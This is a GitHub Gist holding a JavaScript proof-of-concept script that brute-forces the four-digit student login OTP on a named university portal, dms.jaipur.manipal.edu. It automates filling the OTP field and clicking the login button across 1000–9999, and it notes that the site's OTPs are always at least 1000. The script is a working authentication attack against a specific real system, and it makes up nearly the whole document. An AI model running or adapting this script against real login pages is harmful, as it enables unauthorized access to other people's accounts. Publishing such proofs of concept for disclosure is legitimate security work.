Created
May 5, 2019 19:27
-
-
Save 0x48piraj/6677ae27aadabda6493832555c099560 to your computer and use it in GitHub Desktop.
POC in Javascript for Bruteforcing OTP PIN Efficiently (dms.jaipur.manipal.edu)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Author : PIYUSH RAJ (0x48piraj) | |
| // Proof-of-Concept (POC) : Javascript | |
| function sleepFor( sleepDuration ){ | |
| var now = new Date().getTime(); | |
| while(new Date().getTime() < now + sleepDuration){ /* do nothing */ } | |
| } | |
| function check(combo){ | |
| document.getElementById("TxtStduentOTP").value = combo; | |
| console.log('Trying: '+combo); | |
| sleepFor(20); | |
| document.getElementById("btnLoginByStdent").click(); | |
| return document.URL === "https://dms.jaipur.manipal.edu/studentProfile.aspx"; | |
| } | |
| function lpad(number, targetLength) { | |
| return (Array.apply(null,Array(targetLength)).map(function(){return '0';}).join('') + number).slice(-targetLength); | |
| } | |
| function breakOTP() { | |
| var found = false; | |
| var count = 1000; // OTP generated is always par 1000, thus it helps reducing 1000 combinations | |
| while(!found && count < 10000){ | |
| found = check(lpad(count,4)); | |
| count++; | |
| } | |
| if (found) { | |
| alert("The pin number is, actually was : " + combo); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment